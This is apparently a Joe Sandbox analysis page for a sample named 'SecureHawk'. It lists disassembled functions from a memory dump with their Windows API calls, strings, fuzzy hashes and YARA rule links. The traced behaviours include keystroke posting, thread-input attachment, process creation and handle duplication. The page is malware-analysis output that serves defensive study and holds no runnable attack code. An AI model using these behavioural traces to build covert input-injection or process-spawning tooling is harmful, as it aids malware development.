API String ID: 1536045017-1403004172
Opcode ID: 39d205ec5d3761bf321b578dab7b39d03ddbced5207ea446e7985e2c4eca7fba
Instruction ID: 9053ab8e5ca93219593813cc432f46caa73e7107cc59b9aac07588ed8224e370
Opcode Fuzzy Hash: 39d205ec5d3761bf321b578dab7b39d03ddbced5207ea446e7985e2c4eca7fba
Instruction Fuzzy Hash: 8921A171A00204BFDF06AB60CC95AFEBBA9EF95300F100156F9619B2D1EB7598199B20

Function 00349A15 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 0034B57D: GetClassNameW.USER32(?,?,000000FF), ref: 0034B5A0

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00349A98
GetDlgCtrlID.USER32 ref: 00349AA3
GetParent.USER32 ref: 00349ABF
SendMessageW.USER32(00000000,?,00000111,?), ref: 00349AC2
GetDlgCtrlID.USER32(?), ref: 00349ACB
GetParent.USER32(?), ref: 00349AE7
SendMessageW.USER32(00000000,?,?,00000111), ref: 00349AEA

Strings

ComboBox, xrefs: 00349A22
ListBox, xrefs: 00349A57

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 700cbe313aed181641b2c0dfff0bf363c67b7312e4b536dcc1ffb93b649621a3
Instruction ID: 7777529a3feaa3787396b4f7fe569458cc1b4762d795f705ab485ccd1197acd6
Opcode Fuzzy Hash: 700cbe313aed181641b2c0dfff0bf363c67b7312e4b536dcc1ffb93b649621a3
Instruction Fuzzy Hash: 1921C171A00208BFDB06EB60CC95EFEBBB9EF95300F000152F9519B291EB759819DB20

Function 00349AFE Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00349B0A
GetClassNameW.USER32(00000000,?,00000100), ref: 00349B1F
_wcscmp.LIBCMT ref: 00349B31
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00349BAC

Strings

SHELLDLL_DefView, xrefs: 00349B2B
largeicons, xrefs: 00349B40
details, xrefs: 00349B5A
smallicons, xrefs: 00349B74
list, xrefs: 00349B8E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 083e741edc8f211e4c570ac347799bf901125d174ef51fd7d8bb31f15543dd20
Instruction ID: 79401cb186648ed86c412cc61745695274013256fd68bd61166b062ecc666e76
Opcode Fuzzy Hash: 083e741edc8f211e4c570ac347799bf901125d174ef51fd7d8bb31f15543dd20
Instruction Fuzzy Hash: 5E11E376648306BAFA2B2A20EC06EF737DCDF19324F20005BF905B94E2FFA278544615

Function 00368D5D Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00368D89
CoInitialize.OLE32(00000000), ref: 00368DB6
CoUninitialize.OLE32 ref: 00368DC0
GetRunningObjectTable.OLE32(00000000,?), ref: 00368EC0
SetErrorMode.KERNEL32(00000001,00000029), ref: 00368FED
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00383BDC), ref: 00369021
CoGetObject.OLE32(?,00000000,00383BDC,?), ref: 00369044
SetErrorMode.KERNEL32(00000000), ref: 00369057
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 003690D7
VariantClear.OLEAUT32(?), ref: 003690E7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 0c11718b71b55d4092b2843528d2f8fef14d188b7dbe8907501a2819740025a9
Instruction ID: 44d4151608f43c9536399f80fec886c3d4891216d45a09ee4436710bf6bb17aa
Opcode Fuzzy Hash: 0c11718b71b55d4092b2843528d2f8fef14d188b7dbe8907501a2819740025a9
Instruction Fuzzy Hash: B7C14771208305AFD701EF68C88492BB7E9FF89748F00895DF58A9B251DB71ED45CB92

Function 00351839 Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0035185B
GetForegroundWindow.USER32(00000000,?,?,?,?,?,003508D3,?,00000001), ref: 0035186F
GetWindowThreadProcessId.USER32(00000000), ref: 00351876
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003508D3,?,00000001), ref: 00351885
GetWindowThreadProcessId.USER32(?,00000000), ref: 00351897
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003508D3,?,00000001), ref: 003518B0
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003508D3,?,00000001), ref: 003518C2
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,003508D3,?,00000001), ref: 00351907
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,003508D3,?,00000001), ref: 0035191C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,003508D3,?,00000001), ref: 00351927

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 8c41b758c99cfee6b0e8b0a5717ba00853b3e2ddf81e970ff8528e1c5e3ae07b
Instruction ID: 18a9ba1f4eda73ae0e38206ab50c48cc6aff7625ba50ae70f4b4b819d0e9dada
Opcode Fuzzy Hash: 8c41b758c99cfee6b0e8b0a5717ba00853b3e2ddf81e970ff8528e1c5e3ae07b
Instruction Fuzzy Hash: 1831F072A00304BFEB639F10DC48F7A77ADEB85316F124159FE10D62A0D7B49D488BA4

Function 0032C013 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 002F260D
SetTextColor.GDI32(?,000000FF), ref: 002F2617
SetBkMode.GDI32(?,00000001), ref: 002F262C
GetStockObject.GDI32(00000005), ref: 002F2634
GetClientRect.USER32(?), ref: 0032C02C
SendMessageW.USER32(?,00001328,00000000,?), ref: 0032C043
GetWindowDC.USER32(?), ref: 0032C04F
GetPixel.GDI32(00000000,?,?), ref: 0032C05E
ReleaseDC.USER32(?,00000000), ref: 0032C070
GetSysColor.USER32(00000005), ref: 0032C08E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: f16df3f26a10393314673c8d975dbc55d3de6aaab73899bdb2bcc2b65bf490b7
Instruction ID: 80cffd3159050ff8edf160ecabe1d48de3d9df72cdd74891b3dfb5ef67f05deb
Opcode Fuzzy Hash: f16df3f26a10393314673c8d975dbc55d3de6aaab73899bdb2bcc2b65bf490b7
Instruction Fuzzy Hash: B5116732110205EFDBA65FB4EC09BA97B69EF49331F1042A1FA25990E1CB310969EF10

Function 002FAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 002FADE1
OleUninitialize.OLE32(?,00000000), ref: 002FAE80
UnregisterHotKey.USER32(?), ref: 002FAFD7
DestroyWindow.USER32(?), ref: 00332E94
FreeLibrary.KERNEL32(?), ref: 00332EF9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00332F26

Strings

close all, xrefs: 002FADDC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 8d24a77422e7db0b56cb8ea0063ee214b1aef97b8776ae7db28ae0623a44185d
Instruction ID: 15b34e3e59333b7ba0d98ed0e842540a973e27e686b269fdc5026cfd8f7c5671
Opcode Fuzzy Hash: 8d24a77422e7db0b56cb8ea0063ee214b1aef97b8776ae7db28ae0623a44185d
Instruction Fuzzy Hash: 70A160707112128FCB2AEF14C595A7AF364FF04740F1142ADE90AAB2A1CB71ED66CF91

Function 0034AB4C Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0034AF1D), ref: 0034AE5B

Strings

CLASSNN, xrefs: 0034ABFD
NAME, xrefs: 0034AC8D
CLASS, xrefs: 0034ABDA
REGEXPCLASS, xrefs: 0034AC20
TEXT, xrefs: 0034AD92
INSTANCE, xrefs: 0034AD69

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 8a265e213836c94aa589e1cb4d3c8f99349f9bbd1e590773a195620b02d191c9
Instruction ID: f85062f027314bc9026c62cb33058335ff2a8ba5f1537aaae605fe23e759498f
Opcode Fuzzy Hash: 8a265e213836c94aa589e1cb4d3c8f99349f9bbd1e590773a195620b02d191c9
Instruction Fuzzy Hash: 7C91C330A40905ABDB0EDF60C491BEAFBA9FF45300F508119D85AAF681DF70B999DBD1

Function 002F31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 002F327E

Part of subcall function 002F218F: GetClientRect.USER32(?,?), ref: 002F21B8
Part of subcall function 002F218F: GetWindowRect.USER32(?,?), ref: 002F21F9
Part of subcall function 002F218F: ScreenToClient.USER32(?,?), ref: 002F2221

GetDC.USER32 ref: 0032CFA3
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0032CFB6
SelectObject.GDI32(00000000,00000000), ref: 0032CFC4
SelectObject.GDI32(00000000,00000000), ref: 0032CFD9
ReleaseDC.USER32(?,00000000), ref: 0032CFE1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0032D06C

Strings

U, xrefs: 0032CF41

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 848be56c97af289fc6a09c5fd5ed88f39b9df6735baae06e522796f81b26d6f6
Instruction ID: 4880967051474137163d690c506d00af4874df35ea8e873ab56c18ee4148b55e
Opcode Fuzzy Hash: 848be56c97af289fc6a09c5fd5ed88f39b9df6735baae06e522796f81b26d6f6
Instruction Fuzzy Hash: 4571E330500209EFCF22CF64DC84ABABBB5FF49364F148269EE555A1A6C7318D56DF60

Function 003690F8 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00380980), ref: 003691DA
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00380980), ref: 0036920E
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00369388
SysFreeString.OLEAUT32(?), ref: 003693B2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: d609647fc5122e63c3b06d4a77f51cd6e085c8e20c6755204398c5488035e03b
Instruction ID: 2fb783de4cbea01db0d96f8665f7417eb41da44cb5529bbf97cee9d657554865
Opcode Fuzzy Hash: d609647fc5122e63c3b06d4a77f51cd6e085c8e20c6755204398c5488035e03b
Instruction Fuzzy Hash: D8F14C75A00209EFCB06DF94C884EAEB7B9FF49314F118099F916AB254DB31AE46CF50

Function 0036FB45 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036FB66
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0036FCF9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0036FD1D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0036FD5D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0036FD7F
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0036FEFB
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0036FF2D
CloseHandle.KERNEL32(?), ref: 0036FF5C
CloseHandle.KERNEL32(?), ref: 0036FFD3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 847ef4a418d2fd7a822d0f1cd2f497ff2b203d6f354a782cc6502bd14548cbfa
Instruction ID: 9b8fa51999d1f3f8d7e319ee420b136c4f0326aac4b6d60496d76a7d8a9543fc
Opcode Fuzzy Hash: 847ef4a418d2fd7a822d0f1cd2f497ff2b203d6f354a782cc6502bd14548cbfa
Instruction Fuzzy Hash: 19E1E0312043009FC71AEF24D891A6ABBE0AF89314F14C56DF9999F2A6CB71EC45CF52

Function 003550E9 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00354A30: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003539F7,?), ref: 00354A4D

Part of subcall function 00354A30: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003539F7,?), ref: 00354A66

Part of subcall function 00354E59: GetFileAttributesW.KERNEL32(?,00353A6B), ref: 00354E5A

lstrcmpiW.KERNEL32(?,?), ref: 00355168
_wcscmp.LIBCMT ref: 00355182
MoveFileW.KERNEL32(?,?), ref: 0035519D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: f3c09a122af82bcc0b9ae88e3ce3aa05340ac4880c909a202aa718030666917a
Instruction ID: 521ed56d9d55d1f4ed115bf01572e3ce0eaa1ff7ccaa3305516b219c5730a8c4
Opcode Fuzzy Hash: f3c09a122af82bcc0b9ae88e3ce3aa05340ac4880c909a202aa718030666917a
Instruction Fuzzy Hash: 2C5172B20087849BC766DBA0D891DDBB7ECAF84341F00091EB989D7161EF70A28C8766

Function 00378A32 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00378AEC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: b081edcb5a8fe2f8641edeeaa8271f02b28c9866828b2a68020e361e9ece660e
Instruction ID: 770b14ba4ff50dd9a8ab5f342999b32a88f5f05dfa78eb869daf5a9a9786c4d9
Opcode Fuzzy Hash: b081edcb5a8fe2f8641edeeaa8271f02b28c9866828b2a68020e361e9ece660e
Instruction Fuzzy Hash: 10510470581209BFEF779F28CC8DB597BA8EB05350F208512F618D65E1CF79A994CB50

Function 002F2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0032C568
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0032C58A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0032C5A2
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0032C5C0
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0032C5E1
DestroyIcon.USER32(00000000), ref: 0032C5F0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0032C60D
DestroyIcon.USER32(?), ref: 0032C61C

Part of subcall function 0037A89C: DeleteObject.GDI32(00000000), ref: 0037A8D5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: ca45ed760671d7f2abd8aa10e9a3b8544abb2a20ead9c7751c7c231c15843f70
Instruction ID: 38b5e8726d33dbe7bb7285c33a1ec5c9c9af2eca1290f4a1fdd9bfb6b9e1e4b4
Opcode Fuzzy Hash: ca45ed760671d7f2abd8aa10e9a3b8544abb2a20ead9c7751c7c231c15843f70
Instruction Fuzzy Hash: 89518A70620209EFDB25DF25DC45BAAB7B9EB49350F204628FA02D7690D7B0EDA4DB50

Function 0034A009 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0034B310: GetWindowThreadProcessId.USER32(?,00000000), ref: 0034B330
Part of subcall function 0034B310: GetCurrentThreadId.KERNEL32 ref: 0034B337
Part of subcall function 0034B310: AttachThreadInput.USER32(00000000,?,0034A01E,?,00000001), ref: 0034B33E

MapVirtualKeyW.USER32(00000025,00000000), ref: 0034A029
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0034A046
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0034A049
MapVirtualKeyW.USER32(00000025,00000000), ref: 0034A052
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0034A070
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0034A073
MapVirtualKeyW.USER32(00000025,00000000), ref: 0034A07C
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0034A093
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0034A096

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 3c89f3f00523e15085c3ccc39115ce502f0a68616776061a6fd338728145f553
Instruction ID: f53ebecd6746e2c8ab4121bfc85a55497b8286c0a769fb37cf1d750ad2f39ac4
Opcode Fuzzy Hash: 3c89f3f00523e15085c3ccc39115ce502f0a68616776061a6fd338728145f553
Instruction Fuzzy Hash: 58110475550618BEF6116F608C8DF6A7F6DEB4C760F100459F2406F090CAF26C509BA4

Function 003492BC Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00348F3D,00000B00,?,?), ref: 003492C5
HeapAlloc.KERNEL32(00000000,?,00348F3D,00000B00,?,?), ref: 003492CC
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00348F3D,00000B00,?,?), ref: 003492E1
GetCurrentProcess.KERNEL32(?,00000000,?,00348F3D,00000B00,?,?), ref: 003492E9
DuplicateHandle.KERNEL32(00000000,?,00348F3D,00000B00,?,?), ref: 003492EC
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00348F3D,00000B00,?,?), ref: 003492FC
GetCurrentProcess.KERNEL32(00348F3D,00000000,?,00348F3D,00000B00,?,?), ref: 00349304
DuplicateHandle.KERNEL32(00000000,?,00348F3D,00000B00,?,?), ref: 00349307
CreateThread.KERNEL32(00000000,00000000,0034932D,00000000,00000000,00000000), ref: 00349321

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
